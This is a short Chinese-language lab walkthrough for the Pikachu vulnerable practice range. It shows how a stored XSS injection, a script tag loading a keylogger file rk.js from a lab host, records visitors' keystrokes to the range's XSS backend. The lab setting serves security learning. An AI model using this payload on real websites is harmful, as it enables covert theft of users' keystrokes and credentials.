利用XSS漏洞获取键盘记录

以pikachu靶场的xss后台的键盘记录为例：

（win11本机中开启phpstudy，让虚拟机win7进行访问，win7是受害者）

修改E:\phpstudy2018\PHPTutorial\WWW\pikachu\pkxss\rkeypress\rk.js文件的内容，如下图红框处：

---

之后在xss存储型中进行xss注入，输入以下xss注入语句：

<script src="http://10.4.27.70/pikachu/pkxss/rkeypress/rk.js"></script>

---

先随便敲点什么，然后访问xss后台的“键盘记录”就可以看到记录结果了：

（当然，键盘记录也只是局限于xss存储型页面）

---

每次刷新页面或者进入该页面都会被进行键盘记录：

---

若是想结束“键盘记录”就得删了存储记录或者初始化pikachu靶场